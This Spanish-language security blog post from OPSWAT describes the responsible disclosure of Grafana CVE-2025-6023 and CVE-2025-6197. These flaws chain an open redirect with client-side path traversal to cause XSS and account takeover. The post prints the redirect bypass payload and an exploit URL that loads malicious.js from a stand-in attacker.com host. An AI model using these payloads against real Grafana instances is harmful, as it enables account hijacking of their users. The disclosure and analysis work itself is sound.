Grafana es una plataforma de código abierto líder en visualización de datos, análisis y monitorización, que permite a los usuarios crear paneles interactivos mediante la agregación de datos procedentes de múltiples fuentes. Con más de 68 000 estrellas en GitHub y millones de descargas a través de Docker Hub y otros repositorios, Grafana se ha convertido en un componente fundamental de las pilas de monitorización modernas en todos los sectores.
Su amplia difusión y su papel fundamental en la supervisión de infraestructuras convierten a Grafana en un objetivo prioritario para los ciberdelincuentes. Garantizar su seguridad es esencial para proteger la integridad y la disponibilidad de los entornos de supervisión en todas las empresas.
En OPSWAT, contribuimos activamente a la comunidad de seguridad investigando y divulgando de forma responsable las vulnerabilidades de plataformas de uso generalizado como Grafana. En 2021, TheBlackTurtle, miembro de OPSWAT 515OPSWAT , descubrió y divulgó de forma responsable la vulnerabilidad crítica CVE-2021-39226 .
Además de estas contribuciones, OPSWAT fomenta el desarrollo de la próxima generación de talentos en ciberseguridad a través de iniciativas de formación práctica. Uno de estos programas es el Programa de Becas de Posgrado en Ciberseguridad de InfraestructurasOPSWAT , que ofrece a los estudiantes experiencia práctica en la identificación y el análisis de amenazas de seguridad reales. En el marco de este programa, uno de nuestros becarios descubrió una nueva vulnerabilidad crítica en Grafana, CVE-2025-6023, durante un proyecto de investigación independiente.
El programa OPSWAT y la detección de vulnerabilidades críticas
El Programa de Becas de Posgrado en Ciberseguridad de Infraestructuras OPSWAT , con sede en Vietnam, ofrece a los estudiantes de posgrado experiencia práctica en la protección de infraestructuras críticas. Los becarios colaboran activamente con los expertos OPSWAT para abordar retos del mundo real en materia de detección de malware, seguridad de archivos y prevención de amenazas.
Como parte de este riguroso programa, los participantes investigan, reproducen y analizan de forma sistemática vulnerabilidades conocidas (CVE) en diversos productos de software, bibliotecas y sistemas operativos, bajo la supervisión de OPSWAT . Hoa X. Nguyen, uno de nuestros distinguidos becarios, eligió Grafana como tema central de su proyecto de investigación principal.
En junio de 2025, durante una revisión exhaustiva de CVE-2025-4123 y un análisis más detallado del código fuente de Grafana, Hoa X. Nguyen identificó una vulnerabilidad hasta entonces desconocida en la plataforma. El problema consistía en encadenar un fallo de redireccionamiento abierto con una vulnerabilidad de recorrido de ruta del lado del cliente (CSPT), lo que finalmente daba lugar a un ataque de tipo Cross-Site Scripting (XSS) y a la apropiación total de la cuenta a través de un punto final diferente en Grafana.
Al colaborar estrechamente con la Unidad 515, descubrimos no una, sino dos cadenas de exploits distintas, cada una de las cuales podía dar lugar a la compromisión total de la cuenta.
OPSWAT contribuyendo activamente al informar de forma responsable sobre las vulnerabilidades a Grafana. Los problemas se reconocieron de inmediato y se publicaron parches en versiones posteriores. Posteriormente, a estas vulnerabilidades se les asignaron los identificadores CVE-2025-6023 y CVE-2025-6197, y desde entonces figuran públicamente en la Base de Datos Nacional de Vulnerabilidades (NVD).
Cronología de CVE-2025-6023 y CVE-2025-6197
- 11 de junio de 2025:Hoa X. Nguyen detectó una vulnerabilidad en la última versión de Grafana y envió un informe de seguridad a Grafana.
- 11 de junio de 2025: Tras un debate, Grafana confirmó la vulnerabilidad y le asignó el identificador CVE-2025-6023 con un nivel de gravedad alto.
- 17 de junio de 2025:Dat Phung, de la Unidad 515, colaboró estrechamente con Hoa X. Nguyen y descubrió otra cadena de ataque que aprovechaba la vulnerabilidad.
- 17 de junio de 2025: Grafana confirmó la segunda vulnerabilidad y le asignó el identificador CVE-2025-6197 con un nivel de gravedad medio.
- 17 de julio de 2025: Grafana lanzó las versiones 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 y 11.3.8+security-01, introduciendo un parche mejorado que solucionaba eficazmente estas vulnerabilidades.
- 18 de julio de 2025: La Base de Datos Nacional de Vulnerabilidades (NVD) dio a conocer oficialmente los CVE-2025-6023 y CVE-2025-6197.
Análisis técnico del parche incompleto y del CVE-2025-6023
En mayo de 2025, Álvaro Balada reveló CVE-2025-4123, una vulnerabilidad de alta gravedad en Grafana. La falla combinaba un recorrido de rutas del lado del cliente con una redirección abierta, lo que permitía a los atacantes introducir complementos de interfaz maliciosos que ejecutaban código JavaScript arbitrario dentro del contexto de confianza de Grafana, lo que daba lugar a la apropiación total de la cuenta. En los casos en los que el acceso anónimo estaba habilitado, no se requería autenticación. Además, si se tenía instalado el complemento Grafana Image Renderer, el exploit podía escalar a SSRF, exponiendo servicios internos o metadatos en la nube.
Grafana solucionó el problema con actualizaciones de seguridad en mayo de 2025, introduciendo parches en las versiones 12.0.0+security01, 11.6.1+security01 y otras de las ramas 10.x–11.x. Las correcciones incluyeron mejoras en la Política de Seguridad de Contenidos (CSP) y una validación más estricta de las redirecciones.
En el marco del Programa de Becas de Posgrado en Ciberseguridad de Infraestructuras OPSWAT , Hoa X. Nguyen llevó a cabo un análisis exhaustivo de CVE-2025-4123. Su investigación consistió en realizar ingeniería inversa del flujo del exploit y evaluar la eficacia del parche proporcionado. Durante esta investigación, Hoa observó que, aunque la vulnerabilidad es fundamentalmente una combinación de redireccionamiento abierto y traversal de ruta del lado del cliente, el parche para CVE-2025-4123 solo abordaba el redireccionamiento abierto en el staticHandler, mediante una comprobación de saneamiento de datos introducida en la confirmación {ff20b06}.
Sin embargo, esta mitigación parcial no resolvía el vector de ataque principal. El riesgo subyacente seguía existiendo: si un atacante lograba identificar un punto final alternativo vulnerable a las redirecciones abiertas, la misma cadena de explotación podría seguir existiendo y utilizarse para llevar a cabo una apropiación total de la cuenta, incluso después de aplicar el parche. Teniendo en cuenta esta hipótesis, Hoa llevó a cabo una revisión más exhaustiva del código fuente de Grafana. Gracias a este esfuerzo, logró identificar otro punto final vulnerable: /user/auth-tokens/rotate.
Este punto final está diseñado para regenerar tokens de autenticación caducados. Se utiliza el parámetro de consulta «redirectTo» para redirigir al usuario a la página de destino una vez que el token se ha renovado correctamente.
En una implementación típica, la URL de redirección se crea concatenando el valor de configuración Cfg.AppSubURL con el parámetro redirectTo proporcionado por el usuario. Sin embargo, en la configuración predeterminada de Grafana, AppSubURL no está definido. Como consecuencia, la aplicación se basa únicamente en el valor sin procesar de redirectTo a la hora de formar la ruta de redirección.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
En este mecanismo de redireccionamiento, Grafana intenta reducir los riesgos de seguridad asociados a los datos introducidos por el usuario mediante una función de validación denominada «ValidateRedirectTo», cuyo objetivo es bloquear los destinos de redireccionamiento no seguros —como los que comienzan por //example.com — al no permitir el uso de dos barras al principio de la ruta:
Sin embargo, tal y como demostró la investigación original de Álvaro Balada, esta función puede eludirse utilizando una barra seguida de una barra invertida (por ejemplo, /\example.com), lo que los navegadores modernos interpretan de forma similar a //example.com. En consecuencia, se puede utilizar la siguiente carga útil para lograr una redirección abierta, siempre que el usuario esté autenticado:
/user/auth-tokens/rotate?redirectTo=/\example.com
Este hallazgo de Hoa X. Nguyen —junto con la corrección incompleta de la vulnerabilidad CVE-2025-4123 — demuestra que sigue siendo posible la apropiación total de una cuenta de Grafana.
Al descubrir esta vía de elusión, OPSWAT informó OPSWAT del problema al equipo de desarrollo de Grafana. En respuesta, Grafana ya había determinado, tras mantener conversaciones internas, que la medida de mitigación anterior era incompleta y tenía previsto abordar el problema en una próxima versión antes de que presentáramos nuestro informe. Como resultado, nuestro informe fue aceptado y se asignó un nuevo CVE a la vulnerabilidad de redireccionamiento abierto detectada, clasificada con un nivel de gravedad medio.
CVE-2025-6023: Una nueva cadena de exploits que permite el control total de una cuenta
CVE-2025-4123 puso de manifiesto inicialmente una vulnerabilidad de recorrido de rutas en el lado del cliente (CSPT) dentro de la aplicación del complemento front-end de Grafana. En su informe inicial, Hoa X. Nguyen combinó este problema conocido de CSPT con un fallo de redireccionamiento abierto recién descubierto para crear una cadena de explotación eficaz. A pesar del impacto crítico demostrado, a la vulnerabilidad solo se le asignó una gravedad media, ya que Grafana ya había reconocido internamente la naturaleza incompleta del parche antes de la divulgación del CSPT.
Esto dio lugar a una investigación más exhaustiva para determinar si existían otras fallas de CSPT en el código fuente de Grafana que, al combinarse con la vulnerabilidad de redireccionamiento abierto recién descubierta, pudieran dar lugar a una cadena de explotación totalmente independiente. Si se encontrara una vulnerabilidad de CSPT de este tipo en otro punto final, ello podría justificar que se le asignara el mismo nivel de gravedad alto que al CVE-2025-4123.
Descubrimiento de un nuevo Endpoint vulnerable
Partiendo de esta hipótesis, Hoa llevó a cabo un análisis exhaustivo del código fuente de Grafana. Durante este análisis, identificó un punto de acceso vulnerable adicional que permitía la recuperación y ejecución dinámicas de scripts procedentes de fuentes arbitrarias, sin una validación ni un filtrado adecuados de las entradas. Este comportamiento inseguro está relacionado con la funcionalidad de scripting de los paneles de Grafana, gestionada concretamente a través de la siguiente ruta:
/dashboard/:type/:slug
Esta ruta es procesada por un middleware encargado de gestionar los scripts del panel de control. En concreto, el parámetro :slug se utiliza para cargar y ejecutar scripts de forma dinámica —sin la debida sanitización—, lo que permite a los atacantes crear URL maliciosas y, potencialmente, recrear una cadena de explotación similar a la de CVE-2025-4123.
Análisis del mecanismo de scripting del panel de control
El mecanismo de scripting de los paneles de Grafana utiliza el componente DashboardPageProxy para gestionar las solicitudes correspondientes a la ruta /dashboard/:type/:slug:
Dentro de DashboardPageProxy, el flujo de ejecución se desarrolla de la siguiente manera:
El resultado devuelto por DashboardPageProxy se deriva de la ejecución del método stateManager.fetchDashboard(), que acepta los parámetros uid, type y slug extraídos de la ruta de la URL. Para analizar cómo se construye esta respuesta, Hoa X. Nguyen examinó el objeto stateManager y la lógica del método fetchDashboard(). stateManager se instancia mediante la función getDashboardScenePageStateManager(), que se define en el siguiente archivo:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
Dado que el ` stateManager` se inicializa llamando a la función ` getDashboardScenePageStateManager()` sin ningún argumento, tal y como se muestra en la figura 2, se puede concluir que el objeto devuelto es una instancia de la clase ` UnifiedDashboardScenePageStateManager `.
Por lo tanto, para comprender el comportamiento del método fetchDashboard(), procedió a analizar su implementación dentro de la clase UnifiedDashboardScenePageStateManager:
Dentro de la clase `UnifiedDashboardScenePageStateManager `, el método `fetchDashboard()` invoca primero la función `withVersionHandling() `. Esta función se encarga de determinar y devolver la instancia de `activeManager`. Una vez creado ` activeManager `, llama al método `fetchDashboard()` correspondiente en esa instancia, pasando el parámetro de opciones pertinente.
La instancia de `activeManager ` es un objeto ` DashboardScenePageStateManager ` o ` DashboardScenePageStateManagerV2 `. Ambas clases implementan una lógica similar para recuperar los datos del panel de control. El siguiente código procede de la clase `DashboardScenePageStateManager`:
Dentro del método `fetchDashboard()` de la clase ` DashboardScenePageStateManager `, se utiliza una instrucción `switch` para determinar la lógica de gestión adecuada en función del tipo de ruta. En el caso predeterminado, el método llama a:
dashboardLoaderSrv.loadDashboard(tipo, slug, uid, consulta)
Esta llamada inicia el proceso de carga del panel solicitado. La implementación de referencia de la función loadDashboard() se encuentra en el siguiente archivo:
/public/app/features/dashboard/services/DashboardLoad
Dentro de la función loadDashboard(), se llevan a cabo varias comprobaciones condicionales para determinar el flujo de procesamiento adecuado. En el caso concreto en el que el tipo se establece en «script» y existe un slug, la función invoca:
this.loadScriptedDashboard(slug)
En este caso, la cadena —procedente directamente de la entrada del usuario— se pasa como parámetro al método loadScriptedDashboard(). Para evaluar el flujo de ejecución y las posibles vulnerabilidades que introduce esta llamada, Hoa procedió a analizar la implementación de loadScriptedDashboard() dentro de la clase DashboardLoaderSrvBase:
En el método ` loadScriptedDashboard()`, el parámetro `slug` —que se muestra en la figura 2— se trata como un nombre de archivo (cadena de caracteres) y se utiliza para construir la URL . Sin embargo, este parámetro no se sanitiza correctamente. La implementación aplica una expresión regular para sustituir todos los caracteres de punto (.) excepto aquellos inmediatamente seguidos de«js» por una barra (/). Este filtrado parcial no consigue sanitizar adecuadamente la entrada, lo que la deja expuesta a ataques de manipulación de ruta y de recorrido.
Una vez generada la URL, el script intenta cargar el panel de control especificado llamando a getBackendSrv().get(url). A continuación, el script recuperado se ejecuta mediante this.executeScript(code).
Este análisis llevó finalmente a Hoa X. Nguyen a identificar una nueva vulnerabilidad de tipo «Client-Side Path Traversal» (CSPT) en la última versión de Grafana. Debido a la falta de saneamiento o validación de las entradas, un atacante puede manipular el slug para crear una URL que cargue y ejecute un script malicioso procedente de una fuente externa, reproduciendo así el problema principal identificado anteriormente en CVE-2025-4123 a través de la carga de scripts en los paneles de control.
Si se combina con la vulnerabilidad de redireccionamiento abierto recientemente descubierta, este problema permite una cadena de explotación completa capaz de provocar la apropiación total de la cuenta. A continuación se muestra una carga útil de ejemplo que ilustra esta explotación:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Por ejemplo:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
El archivo malicious.js podría diseñarse para cambiar la dirección de correo electrónico y el nombre de usuario de la víctima por los controlados por el atacante. Esto permitiría al atacante iniciar un proceso de restablecimiento de contraseña a su propia dirección de correo electrónico, lo que acabaría dando lugar a la apropiación total de la cuenta:
Demostración de concepto para CVE-2025-6023
Este vídeo muestra las consecuencias prácticas de la vulnerabilidad CVE-2025-6023, a través de una demostración de un escenario de apropiación total de la cuenta que afecta a los usuarios de Grafana, descubierta por Hoa X. Nguyen, de OPSWAT:
Medidas de mitigación y orientación
Para mitigar las vulnerabilidades que hemos comentado anteriormente, asegúrese de que su sistema esté actualizado a la última versión de Grafana.
MetaDefender Core su motor SBOM, puede detectar esta vulnerabilidad
OPSWAT MetaDefender Core, equipado con funciones avanzadas de SBOM (Software de materialesSoftware ), permite a las organizaciones adoptar un enfoque proactivo a la hora de abordar los riesgos de seguridad. Al analizar las aplicaciones de software y sus dependencias, MetaDefender Core vulnerabilidades conocidas, como CVE-2025-6023 y CVE-2025-6197, dentro de los componentes enumerados. Esto permite a los equipos de desarrollo y seguridad priorizar las tareas de aplicación de parches, mitigando los posibles riesgos de seguridad antes de que puedan ser explotados por actores maliciosos.
A continuación se muestra una captura de pantalla de CVE-2025-6023 y CVE-2025-6197, que fueron detectadas por MetaDefender Core SBOM:
Además, las vulnerabilidades CVE también pueden detectarse mediante MetaDefender Software Supply Chain, que aprovecha MetaDefender Core SBOM para identificar estas vulnerabilidades.
